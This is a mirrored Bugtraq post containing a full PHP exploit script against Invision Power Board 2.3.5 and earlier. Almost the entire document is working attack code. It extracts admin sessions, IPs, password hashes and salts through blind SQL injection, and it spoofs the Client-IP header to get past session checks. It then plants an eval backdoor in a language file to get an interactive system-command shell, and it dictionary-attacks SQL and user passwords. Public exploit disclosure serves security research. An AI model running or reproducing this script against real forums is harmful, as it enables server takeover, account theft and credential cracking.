[Exploit] Invision Power Board <= 2.3.5 Multiple Vulnerabilities

From: gmdarkfig@gmail.com
To: bugtraq@securityfocus.com
Cc:
Subject: [Exploit] Invision Power Board <= 2.3.5 Multiple Vulnerabilities
Date:


#!/usr/bin/php -q
<?php
# This file requires the PhpSploit class.
# If you want to use this class, the latest
# version can be downloaded from acid-root.new.fr.
##################################################
error_reporting(E_ALL ^ E_NOTICE);
require('phpsploitclass.php');

# yeah ... it rox (:
class ipb_spl
{
      var $web;

        function main()
       {
             $this->mhead();
          
              # Gimme your args
             $this->p_attack = $this->get_p('attack', true);
           $this->p_prox   = $this->get_p('proxhost');
               $this->p_proxa  = $this->get_p('proxauth');
               
              $this->init_global();
            
              # Proxy params
                if( $this->p_prox )
              {
                     $this->web->proxy($this->p_prox);
                      
                      if( $this->p_proxa )
                     $this->web->proxyauth($this->p_proxa);
         }

                # Where do we go ?
            switch( $this->p_attack )
                {
                     case 1:  $this->code_exec();  break;
                     case 2;  $this->bf_sql_pwd(); break;
                     case 3:  $this->bf_usr_pwd(); break;
                     default: $this->usage();
         }

                return;
       }
     
      function code_exec($loop=1)
   {
             # First loop
          if( $loop == 1 )
              {
                     $this->set_sql_param();
                  $this->set_sql_focus();
          
                      $this->p_acp = $this->get_p('acp');
                               
                      # ACP path
                    if( !$this->p_acp )
                      {
                             # If the user changed the ACP directory, we can
                               # find it (if the "Remove ACP Link" option was not
                          # applied) by log in as an Admin, and then click
                              # on "Admin CP". This can be done with a user
                               # but I didn't implemented that ;)
                               $this->msg('Using default ACP path: admin', 1);
                                $this->p_acp = 'admin';
                        }
                     else 
                 $this->msg('Using ACP path "'.$this->p_acp.'"', 1);
           
                      # Init client headers:
                        # Only if we have the same IP as the targeted user (not admin),
                       # it resets session datas, so we try to spoof our 
                    # IP as a random one in order to keep user's session datas while
                 # we bruteforce SQL fields.
                   $this->bypass_matches();
         
                      # Remove expired sessions ( time() - 60*60*2  =  > 2 hours )
                     $this->web->get($this->p_url.$this->p_acp.'/index.php?');
                       $this->msg('Removed all out of date admin sessions', 1);
               
                      # Cookie prefix
                       $this->get_cprefix();
            }
                             
              # Admin session ?
             $this->msg('Trying to find an admin session id', 0);
           
              # Got one :]
          if( $this->get_admin_sess() )
            {
                     $this->s_admin = true;
                   $this->s_sess  = $this->data['a_sess_id'];
                        $this->a_url   = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
          }
             
              # Nothing special
             else 
         {
                     $this->s_admin = false;
                  $this->msg('No admin session id found', -1);
           }
             
              # User session ?
              if( !$this->s_sess )
             {
                     $this->msg('Trying to find a user session id', 0);
                     
                      # Yep
                 if( $this->get_user_sess() )
                     $this->s_sess = $this->data['u_sess_id'];

                    # F0ck
                        else 
                 {
                             $this->msg('No user session id found', -1);
                            $this->msg('Admin session > 2 hours or user logged out', 0);
                              $this->msg('Keeping trying until the user connects', 0);
                               $this->msg('Entering loop #'.$loop.' ...', 0);
                               $this->code_exec(++$loop);
                       }
             }
                     
              $this->msg('Getting security options', 0);
             
              # Security options
            $this->get_sec_options();
                
              # IP filter ?
         if( $this->conf['ip'] === '1' )
              {
                     $this->s_bypass = true;
                  
                      $this->msg('IP filter option is turned on', 0);
                        
                      # Spoofing protection ?
                       if( !$this->conf['xforward'] )
                 {
                             # Assuming our IP isn't the same etc..
                           $this->msg('Can\'t bypass the IP filter', -1);
                            exit(1);
                      }
                     
                      # X-Forwarded-For / Client-IP /
                       # Proxy-User / X-Cluster-Client-IP
                    else 
                 {
                             $this->msg('Cool, we can spoof our IP (Client-IP)', 1);
                                
                              if( $this->s_admin )
                             {
                                     $this->msg('Trying to find admin\'s last IP', 0);
                                 
                                      # Admin IP found
                                      $this->get_admin_ip();
                                   $this->s_ip = $this->data['a_ip_addr'];
                           }
                             else 
                         {
                                     $this->s_admin = false;
                                  $this->msg('Trying to find user\'s last used IP', 0);
                                     
                                      # User IP found
                                       $this->get_user_ip();
                                    $this->s_ip = $this->data['u_ip_addr'];
                           }
                             
                              # Nothing found
                               if( !$this->s_ip )
                               {
                                     # Ahah (:
                                     $this->msg('No IP found for this user', -1);
                                   $this->give_hope();
                              }
                             
                              # Got one !
                           else
                          $this->msg('Ok, using IP '.$this->s_ip, 1);
                       }
             }
             
              # User-Agent filter ?
         if( $this->conf['browser'] === '1' && !$this->s_admin )
               {
                     $this->s_bypass = true;
                  
                      $this->msg('Trying to find a valid user-agent', 0);
                    
                      # Good
                        if( $this->get_user_agent() )
                    {
                             $this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
                           $this->s_agent = $this->data['u_agent'];
                  }
                     
                      # WTF :!
                      else
                  {
                             $this->msg('No user-agent found for this user', -1);
                           $this->msg('Maybe the browser didn\'t send this header', 0);
                              $this->s_agent = '';
                   }
                     
              }

                # Cool !?
             if( !$this->s_bypass )
           $this->msg('Cool, nothing to bypass', 1);
              
              $this->msg('Trying to log in', 0);
             
              # Owned =]
            if( $this->is_logged() )
         {
                     # PHP code
                    if( $this->s_admin )
                     {
                             $this->msg('Logged in with an admin session', 1);
                              $this->exec_code();
                      }
                     
                      # Normal user ?
                       else
                  {
                             $this->msg('Logged in with a user session', 1);
                                $this->msg('You can log in using the cookie session_id', 1);

                              if( $this->s_ip !== $this->def_ip )
                         $this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
                               
                              if( $this->s_agent )
                             $this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
                           
                              exit(0);
                      }
             }
             else 
         {
                     # Even if the admin logged out .. the admin session
                   # is still valid ;)
                   $this->msg('Can\'t log in, the session has expired ?!', -1);
                      $this->give_hope();
              }
             
              return;
       }
     
      function bf_sql_pwd()
 {
             $this->p_ip    = $this->get_p('ip', true);
                $this->p_dict  = $this->get_p('dict', true);
              
              $this->p_sql_u = $this->get_p('sqlusr');
          
              $this->p_url   = $this->get_p('url');
             $this->p_uname = $this->get_p('uname');
           $this->p_pwd   = $this->get_p('pwd');
             // or 
                $this->p_uid   = $this->get_p('uid');
             $this->p_hash  = $this->get_p('passhash');
                $this->p_shold = $this->get_p('stronghold');
              
              if( $this->p_uname && $this->p_pwd && $this->p_url )
               {
                     $this->get_cprefix();
                    
                      $this->msg('Trying to get some cookies', 0);
                   
                      $g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';
                      $p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';
              
                      $this->web->post($this->p_url.$g_dat, $p_dat);
         
                      $this->p_uid   = $this->web->cookie[$this->s_cprefix.'member_id'];
                      $this->p_hash  = $this->web->cookie[$this->s_cprefix.'pass_hash'];
                      $this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];
         }
             elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )
           $this->usage();
          
              if( !$this->p_uid || !$this->p_hash || !$this->p_shold )
               {
                     $this->msg('Can\'t get cookies', -1);
                     $this->msg('You should try with other parameters', -1);
                        exit(1);
              }
             
              $this->msg('Ok, using cookies:', 1);
           
              $this->msg('member_id='.$this->p_uid, 1);
         $this->msg('pass_hash='.$this->p_hash, 1);
                $this->msg('ipb_stronghold='.$this->p_shold, 1);
          
              if( !$this->p_sql_u )
            {
                     $this->set_sql_param();
                  
                      $this->msg('Trying to get the current sql user', 0);
                   
                      if( !$this->get_sql_user() )
                     {
                             $this->msg('Can\'t get the sql user', -1);
                                $this->msg('If you know the sql user, use -sqlusr', -1);
                               exit(1);
                      }
                     else
                  $this->p_sql_u = $this->data['sql_user'];
         }
             
              $this->msg('Ok, using sql user '.$this->p_sql_u, 1);
              
              $dico_c = file($this->p_dict);
           $ip_a   = explode('.', $this->p_ip);
           
              $this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
               $this->msg('You should take a drink ...', 0);
          
              foreach( $dico_c as $line )
           {
                     $md5 = md5(trim($line).$this->p_sql_u);
                  $md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;
                    $md5 = md5($md5);

                        if( $this->p_shold === $md5 )
                    {
                             $this->msg('Found something cool =]', 1);
                              $this->msg('SQL password: '.$line, 1);
                         exit(1);
                      }

                }
             
              $this->msg('End of the wordlist, password not found', -1);
             
              return;
       }

        function bf_usr_pwd()
 {
             $this->p_dict  = $this->get_p('dict', true);

         $this->p_hash  = $this->get_p('passhash');
                $this->p_salt  = $this->get_p('salt');
            
              if( !$this->p_hash || !$this->p_salt )
              {
                     $this->set_sql_param();
                  $this->set_sql_focus();
          }
             
              if( !$this->p_hash )
             {
                     $this->msg('Trying to get the password hash', 0);
                      
                      if( !$this->get_pass_hash() )
                    {
                             $this->msg('Can\'t get the password hash', -1);
                           exit(1);
                      }
                     else 
                 $this->p_hash = $this->data['pass_hash'];
         }
             
              $this->msg('Ok, using hash '.$this->p_hash, 1);
           
              if( !$this->p_salt )
             {
                     $this->msg('Trying to get the password salt', 0);
                      
                      if( !$this->get_pass_salt() )
                    {
                             $this->msg('Can\'t get the password salt', -1);
                           exit(1);
                      }
                     else 
                 $this->p_salt = $this->data['pass_salt'];
         }
             
              $this->msg('Ok, using salt '.$this->p_salt, 1);
           
              $dico_c = file($this->p_dict);
           
              $this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
               $this->msg('You should take a drink ...', 0);
          
              foreach( $dico_c as $line )
           {
                     if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )
                    {
                             $this->msg('Found something cool =]', 1);
                              $this->msg('User password: '.$line, 1);
                                exit(1);
                      }
             }
             
              $this->msg('End of the wordlist, password not found', -1);
             
              return;
       }
     
      function set_sql_param()
      {
             $this->p_url   = $this->get_p('url', true);
               $this->p_pre   = $this->get_p('prefix');
          
              # Table prefix
                if( !$this->p_pre )
              {
                     # Default table prefix if not precised
                        $this->msg('Using default table prefix: ibf_', 1);
                     $this->p_pre = 'ibf_';
         }
             else 
         $this->msg('Using table prefix '.$this->p_pre, 1);

   }
     
      function set_sql_focus()
      {
             $this->p_uname = $this->get_p('uname');
           $this->p_uid   = $this->get_p('uid');
             
              if( $this->p_uname )
             $this->msg('Using targeted username '.$this->p_uname, 1);
         
              elseif( $this->p_uid )
           $this->msg('Using targeted user id '.$this->p_uid, 1);
            
              # Target
              if( !($this->p_uname || $this->p_uid) )
             {
                     # Default uid if not precised
                 $this->msg('Using default user id: 1', 1);
                     $this->p_uid = 1;
                }

                # Focus on ?
          if( $this->p_uname )
             $this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';
                
              else 
         $this->t_on = 'id='.(int)$this->p_uid;
            
              return;
       }
     
      function exec_code()
  {
             $this->write_code();
             
              while( $this->cmd_prompt() )
             {
                     $this->web->addheader('My-Code', $this->cmd);
                        $this->web->get($this->p_url);

                    print "\n".$this->get_answer();
                }
             
              exit(0);
      }
     
      function get_answer()
 {
             $res_a = explode($this->res_sep, $this->web->getcontent());
            
              if( !$res_a[1] )
              return 'No result to retrieve';
             
              else 
         return $res_a[1];
     }
     
      function cmd_prompt()
 {
             $this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);
             
              if( !ereg('^(quit|exit)$', $this->cmd) )
               {               
                      $this->cmd = base64_encode($this->cmd);
                     $this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);
                      
                      return TRUE;
          }

                else
             return FALSE;
      }
     
      function write_code()
 {
             # Gimme the language ID
               $this->get_def_lang();
           
              # Current lang settings
               $p_dat =
              'code=edit2&act=lang&id='.$this->g_lid.'&section'.
            '=lookandfeel&lang_file=lang_boards.php';
              
              $this->web->post($this->a_url, $p_dat);

           # We collect each variable name / value
               if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )
               {
                     # POST data 
                  $p_dat =
                      'code=doedit&act=lang&id='.$this->g_lid.
                     '&lang_file=lang_boards.php&section=lo'.
                  'okandfeel&';

                     # &Name=Value
                    for( $i=0; $i<count($l_vars[0]); $i++ )
                  {
                             $p_dat .=
                             '&XX_'.$l_vars[1][$i].'='.urlencode($l_vars[2][$i]);
                         
                              # We write our PHP code in the first variable
                         if( $i == 0 )
                         $p_dat .= $this->php_write;
                      }
                     
                      # Go on
                       $this->web->post($this->a_url, $p_dat);
                        
                      $this->msg('PHP code written', 1);
             }
             else
          {
                     # WTF :!
                      $this->msg('Can\'t find block variables', 0);
                     exit(1);
              }
             
              return;
       }
     
      function get_def_lang()
       {
             $this->msg('Trying to get the set language id', 0);
            
              $this->web->get($this->a_url.'&section=lookandfeel&act=lang');
             
              if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )
             {
                     $this->g_lid = $lids[1];
                 $this->msg('Using language id '.$this->g_lid, 1);
         }
             else 
         {
                     $this->msg('Can\'t get the default language id', -1);
                     exit(1);
              }
             
              return;
       }
     
      function is_logged()
  {
             $this->bypass_matches();

            # User session ok ?
           if( !$this->s_admin )
            {
                     $match = 'act=Login&amp;CODE=03';
                      $this->web->addcookie($this->s_cprefix.'session_id', $this->s_sess);
                    $this->web->get($this->p_url);
         }
             
              # Admin session ok ?
          else
          {
                     $match = '&section=';
                  $this->web->get($this->a_url);
         }
             
              if( preg_match("/$match/i", $this->web->getcontent()) )
           return true;
          
              else 
         return false;           
      }
     
      function bypass_matches()
     {
             # match_browser
               $this->web->agent($this->s_agent);
             
              # match_ipaddress
             $this->web->addheader('Client-IP', $this->s_ip);
             
              return;
       }
     
      function get_cprefix()
        {
             $this->msg('Trying to get the cookie prefix', 0);
                              
              # Set-Cookie: session_id=...; path=/
          $this->web->get($this->p_url);
         
              $this->s_cprefix = '';
         
              if( $this->web->cookie )
            {
                     foreach( $this->web->cookie as $name => $value)
                        {
                             if( preg_match($this->reg_cpre, $name, $cmatches) )
                              {
                                     $this->s_cprefix = $cmatches[1];
                                 break;
                                }
                     }
             }
             
              if( !$this->s_cprefix )
          $this->msg('No cookie prefix set', 1);
         
              else 
         $this->msg('Using cookie prefix '.$this->s_cprefix, 1);
           
              return;
       }
     
      function get_sec_options()
    {
             # If no value, take the default one
           $this->get_conf('t.conf_value');
               $this->get_conf('t.conf_default');
             
              return;
       }
     
      function get_conf($field)
     {
             $this->init_sql();
               
              $this->t_table = 'conf_settings';        
              $this->t_field = $field;
         $this->t_char  = $this->chr_num;
            
              $this->t_add_0 = "AND t.conf_key='match_browser'";

              if( $this->conf['browser'] === '' )
          $this->conf['browser'] = $this->bf_inj();

            $this->t_add_0 = "AND t.conf_key='match_ipaddress'";
         
              if( $this->conf['ip'] === '' )
               $this->conf['ip'] = $this->bf_inj();
              
              $this->t_add_0 = "AND t.conf_key='xforward_matching'";
               
              if( $this->conf['xforward'] === '' )
         $this->conf['xforward'] = $this->bf_inj();

           return;
       }
     
      function get_login_key()
      {
             $this->init_sql();
               
              $this->t_key             = 'login_key';
                $this->t_table           = 'members';
          $this->t_field           = 't.member_login_key';
               $this->t_join            = 't.id=m.id';
                $this->t_char            = $this->chr_md5;
          $this->data['login_key'] = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_sql_user()
       {
             $this->init_sql();
               
              $this->t_key             = 'user()';
           $this->t_table           = 'members';
          $this->t_field           = 'user()';
           $this->t_char            = $this->chr_all;
          $this->t_end             = '@';
                $this->data['sql_user']  = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_pass_hash()
      {
             $this->init_sql();
               
              $this->t_key             = 'pass_hash';
                $this->t_table           = 'members_converge';
         $this->t_field           = 't.converge_pass_hash';
             $this->t_join            = 't.converge_email=m.email';
         $this->t_char            = $this->chr_md5;
          $this->data['pass_hash'] = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_pass_salt()
      {       
              $this->init_sql();
               
              $this->t_key             = 'pass_salt';
                $this->t_table           = 'members_converge';
         $this->t_field           = 't.converge_pass_salt';
             $this->t_join            = 't.converge_email=m.email';
         $this->t_char            = $this->chr_all;
          $this->data['pass_salt'] = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_admin_sess()
     {
             $this->init_sql();
               
              $this->t_key             = 'admin_sid';
                $this->t_table           = 'admin_sessions';
           $this->t_field           = 't.session_id';
             $this->t_join            = 't.session_member_id=m.id';
         $this->t_sel             = 't.session_log_in_time';
            $this->t_char            = $this->chr_md5;
          $this->data['a_sess_id'] = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_admin_ip()
       {
             $this->init_sql();
               
              $this->t_key             = 'admin_ip';
         $this->t_table           = 'admin_sessions';
           $this->t_field           = 't.session_ip_address';
             $this->t_join            = 't.session_member_id=m.id';
         $this->t_sel             = 't.session_log_in_time';
            $this->t_char            = $this->chr_ip;
           $this->data['a_ip_addr'] = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_admin_pwd()
      {
             $this->init_sql();
               
              $this->t_key             = 'admin_pwd';
                $this->t_table           = 'admin_login_logs';
         $this->t_field           = 't.admin_post_details';
             $this->t_join            = 't.admin_username=m.members_l_username';
            $this->t_sel             = 't.admin_id';
               $this->t_end             = '"';
           $this->t_bchar           = -4; # ";}}
               $this->t_char            = $this->chr_all;
          $this->data['a_pwd_like']= $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_user_sess()
      {
             $this->init_sql();
               
              $this->t_key             = 'user_sid';
         $this->t_table           = 'sessions';
         $this->t_field           = 't.id';
             $this->t_join            = 't.member_id=m.id';
         $this->t_sel             = 't.running_time';
           $this->t_char            = $this->chr_md5;
          $this->data['u_sess_id'] = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_user_ip()
        {
             $this->init_sql();
               
              $this->t_key             = 'user_ip';
          $this->t_table           = 'sessions';
         $this->t_field           = 't.ip_address';
             $this->t_join            = 't.member_id=m.id';
         $this->t_sel             = 't.running_time';
           $this->t_char            = $this->chr_ip;
           $this->data['u_ip_addr'] = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function get_user_agent()
     {
             $this->init_sql();
               
              $this->t_key             = 'user_agent';
               $this->t_table           = 'sessions';
         $this->t_field           = 't.browser';
                $this->t_join            = 't.member_id=m.id';
         $this->t_sel             = 't.running_time';
           $this->t_char            = $this->chr_all;
          $this->data['u_agent']   = $this->bf_inj();
               
              return $this->key_val;
   }
     
      function init_sql()
   {
             # SQL Injection params
                $this->t_end   = null;
           $this->t_add_0 = '';
           $this->t_add_1 = '';
           $this->t_sel   = '1';
          $this->t_bchar = 0;
              $this->t_join  = '';
           $this->t_key   = '';
           $this->t_add_1 = 'ORDER BY id DESC LIMIT 1';
           
              return;
       }
     
      function init_global()
        {
             # Charsets
            $this->chr_spe = str_split(' :/;*(-.!,?*%$^=+})]^_\\`|[\'{#~&"@');
              $this->chr_num = range(0, 9);
            $this->chr_md5 = array_merge( $this->chr_num, range('a', 'f') );
                $this->chr_ip  = array_merge( $this->chr_num, array('.') );
               $this->chr_all = array_merge( $this->chr_num, range('a', 'z') );
                $this->chr_all = array_merge( range('A', 'Z'), $this->chr_all, $this->chr_spe );

              # SQL Injection
               $this->def_param = 'index.php?s=&act=xmlout&do=check-display-name&name=%rep_inj%';
              $this->def_inj   = "' OR 1=\"'\" UNION %rep_req% OR 1=\"'\" %rep_add% #";
           
              # Results
             $this->data = array();
           $this->conf = array('ip' => '', 'browser' => '', 'xforward' => '');
           
              # Misc
                $this->stat     = array(-1 => '-', 0 => '/', 1 => '+');
             $this->s_bypass = false;
         $this->res_sep  = md5(rand());
           $this->def_ip   = rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);
             
              # PHP Code
            $this->php_write = '${${@eval($_SERVER[HTTP_MY_CODE])}}';
              $this->php_send     = "print('$this->res_sep');@system(base64_decode('%CMD%'));";
             $this->php_send .= "print('$this->res_sep');exit(0);";
          
              # Regex
               $this->reg_lang = '#</span></td>[\r\n]*.*[\r\n]*.*code=export&id=([0-9]+)#i';
         $this->reg_lvar = "#id='XX_([\w]+)'[\x20]+class='multitext'>(.*)</textarea></td>#i";
              $this->reg_cpre = '#^(.*)session_id$#';
                # $this->reg_acp  = '#<a href="(.*)"[\x20]+target="_blank"#i';
                
              # Default client headers
              $this->s_agent = 'Mozilla Firefox';
            $this->s_ip    = $this->def_ip;
             
              return;
       }
     
      function bf_inj()
     {
             $this->sub_chr = $this->t_bchar;
            $this->key_val = '';
                   
              if( !empty($this->t_key) )
               $this->msg('', 0);
             
              while( true )
         {
                     if( $this->t_bchar < 0 )
                    $this->sub_chr--;
                        
                      else
                  $this->sub_chr++;
        
                      # 0-9a-f
                      for( $j=0;$j<=count($this->t_char);$j++ )
                   {
                             # That one ?
                          $chr = $this->t_char[$j];
                                
                              # Latest char ?
                               if( $j === count($this->t_char) )
                                $chr = $this->t_end;
                             
                              # Ascii num
                           $asc = ord($chr);
                             
                              # Screen bug
                          if( !empty($this->t_key) ) 
                              {
                                     $msg  = $this->t_key.'='.$this->key_val;
                                  $msg .= ($chr === $this->t_end ? "\x20" : $chr);
                                       
                                      $this->msg($msg, 0, 1, 1);
                               }
                             
                              # Focus on the target ?
                               if( !empty($this->t_join) )
                              {
                                     $inj = 
                                       'SELECT 1,'.$this->t_sel.' FROM '.$this->p_pre.$this->t_table.
                                     ' t, '.$this->p_pre.'members m WHERE '.$this->t_join.
                                   ' AND m.'.$this->t_on.' AND ASCII(SUBSTR('.$this->t_field.
                                      ','.$this->sub_chr.',1))='.$asc.' '.$this->t_add_0;
                           }
                             else 
                         {
                                     $inj =
                                        'SELECT 1,'.$this->t_sel.' FROM '.$this->p_pre.$this->t_table.
                                     ' t WHERE ASCII(SUBSTR('.$this->t_field.','.$this->sub_chr.
                                     ',1))='.$asc.' '.$this->t_add_0;
                             }

                                # SQL Injection via rawurldecode()
                            $inj = str_replace('%rep_req%', $inj, $this->def_inj);
                         $inj = str_replace('%rep_add%', $this->t_add_1, $inj);
                         $inj = str_replace(array('"', "'"), array('%2522', '%2527'), $inj);
                         
                              # Params
                              $inj = str_replace('%rep_inj%', $inj, $this->def_param);
                               $inj = str_replace(array(' ', '#'), array('%20', '%23'), $inj);
                               
                              $this->web->get($this->p_url.$inj);

                               # Ok !?
                               if( !strstr($this->web->getcontent(), 'notfound') )
                               {
                                     if( $chr !== $this->t_end )
                                      {       
                                              $this->key_val .= $chr;
                                          break;
                                        }
                             }
                             
                              # End
                         if( $chr === $this->t_end )
                              {
                                     # Reverse
                                     if( $this->t_bchar < 0 )
                                    $this->key_val = strrev($this->key_val);
                                    
                                      if( !empty($this->t_key) ) 
                                      $this->msg($this->t_key.'='.$this->key_val, 1, 1, 1);

                                   return $this->key_val;
                           }
                     }
             }
             
      }
             
      function get_p($p, $exit=false)
       {
             global $argv;
         
              foreach( $argv as $key => $value )
               {
                     if( $value === '-'.$p )
                     {
                             if( isset($argv[$key+1]) && !empty($argv[$key+1]) )
                         {                                       
                                      return $argv[$key+1];
                         }
                             else
                          {
                                     if( $exit )
                                   $this->usage();
                                  
                                      return true;
                          }
                     }
             }
             
              if( $exit )
           $this->usage();
          
              return false;
 }
     
      function msg($msg, $nstatus, $nspace=1, $ndel=0, $ask=false)
  {
             if( $ndel ) $type = "\r";
           else        $type = "\n";
           
              # wtf (:
              print
         (
                     $type.str_repeat("\x20", $nspace).
                  $this->stat[$nstatus]."\x20".$msg
              );
            
              if( $ask )
            return trim(fgets(STDIN));
    }
     
      function give_hope()
  {                               
              $this->msg('You should try with another user or try another time', -1);
                        
              exit(1);
      }
     
      function mhead()
      {
             # Advisory: http://acid-root.new.fr/?0:18
             
              print "\n Invision Power Board <= 2.3.5 Multiple Vulnerabilities";
             print "\n ------------------------------------------------------";
          print "\n\n About:";
                print "\n\n by DarkFig < gmdarkfig (at) gmail (dot) com >";
               print "\n http://acid-root.new.fr/";
                print "\n #acidroot@irc.worldnet.net";
              print "\n\n\n Attack(s):\n";
                
              return;
       }
     
      function usage()
      {

                print "\n -attack <int_choice> <params> [options]\n\n";
         print "  1 - PHP code execution\n\n";
               print "    -url        IPB url with ending slash\n\n";
              print "    -uname      targeted username\n";
                print "    -uid        OR the targeted user id (def: 1)\n\n";
               print "    -prefix     sql table prefix (def: ibf_)\n";
             print "    -acp        admin control panel path (def: admin)\n\n\n";
                print "  2 - Insecure SQL password usage\n\n";
              print "    -ip         your current IP\n";
          print "    -dict       a wordlist file\n\n";
                print "    -url        IPB url with ending slash\n";
                print "    -uname      a valid member username\n";
          print "    -pwd        the associated password\n\n";
                print "    -uid        OR  the targeted member id\n";
               print "    -passhash   the passhash cookie value\n";
                print "    -stronghold the stronghold cookie value\n\n";
            print "    -sqlusr     you can precise the sql user\n";
             print "    -prefix     sql table prefix (def: ibf_)\n\n\n";
         print "  3 - Password bruteforcer\n\n";
             print "    -dict       a wordlist file\n\n";
                print "    -url        IPB url with ending slash\n";
                print "    -uname      targeted username\n";
                print "    -uid        OR  the targeted user id (def: 1)\n";
                print "    -prefix     sql table prefix (def: ibf_)\n\n";
           print "    -passhash   OR the passhash value\n";
            print "    -salt       the salt value\n\n\n";
               print "  Optional: \n\n";
           print "    -proxhost <ip>       if you wanna use a proxy\n";
              print "    -proxauth <usr:pwd>  proxy with authentication\n";
             
              exit(1);
      }
     
}

$web = new phpsploit;
$web->cookiejar(1);
$web->agent('Mozilla Firefox');

$ipb = new ipb_spl;
$ipb->web =& $web;
$ipb->main();

?>





Copyright © 1995-2021 LinuxRocket.net. All rights reserved.